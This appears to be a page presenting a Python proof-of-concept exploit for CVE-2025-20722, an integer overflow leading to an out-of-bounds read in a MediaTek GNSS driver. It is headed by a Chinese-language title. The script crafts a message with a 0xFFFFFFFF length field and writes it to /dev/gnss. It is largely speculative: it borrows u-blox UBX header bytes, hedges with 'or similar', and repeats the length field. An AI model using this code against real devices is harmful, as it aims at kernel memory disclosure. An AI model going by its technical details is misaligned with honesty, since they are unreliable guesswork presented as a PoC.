CVE-2025-20722 MediaTek GNSS驱动整数溢出导致越界读取漏洞

# CVE-2025-20722 - MediaTek GNSS Driver Integer Overflow OOB Read PoC # This is a conceptual proof-of-concept demonstrating the vulnerability # The actual exploitation requires local System privilege on a MediaTek device import struct import socket def craft_malicious_gnss_payload(): """ Craft a malicious GNSS data payload that triggers integer overflow in the MediaTek GNSS driver, causing out-of-bounds read. """ # GNSS NMEA-like message structure # The vulnerability is triggered when processing length fields # that cause integer overflow in buffer calculations # Construct payload with overflow-triggering length field # Using 0xFFFFFFFF to cause 32-bit integer overflow overflow_length = struct.pack('<I', 0xFFFFFFFF) # Max uint32 value # GNSS message header header = b'\xB5\x62' # UBX protocol sync bytes (example) # Class and ID for GNSS message msg_class = b'\x02' # RXM class msg_id = b'\x15' # UBX-RXM-SFRBX or similar # Payload with overflow length payload = overflow_length + b'\x00' * 256 # Construct full message message = header + msg_class + msg_id + overflow_length + payload return message def trigger_vulnerability(): """ Attempt to trigger the vulnerability by sending crafted GNSS data to the MediaTek GNSS driver interface. Note: This requires: - Local access to the device - System privilege (already obtained via prior privilege escalation) - Access to the GNSS driver interface (e.g., /dev/gnss or similar) """ payload = craft_malicious_gnss_payload() try: # Attempt to communicate with GNSS driver # On Android, this might be through a unix socket or device node gnss_device = '/dev/gnss' with open(gnss_device, 'wb') as f: f.write(payload) print(f"[*] Sent malicious payload ({len(payload)} bytes) to {gnss_device}") print("[*] If vulnerable, the driver may read out-of-bounds memory") except PermissionError: print("[-] Permission denied. System privilege required.") except FileNotFoundError: print("[-] GNSS device not found. Device may not be affected.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=== CVE-2025-20722 PoC ===") print("MediaTek GNSS Driver Integer Overflow OOB Read") print("Requires: System privilege + Local access\n") trigger_vulnerability()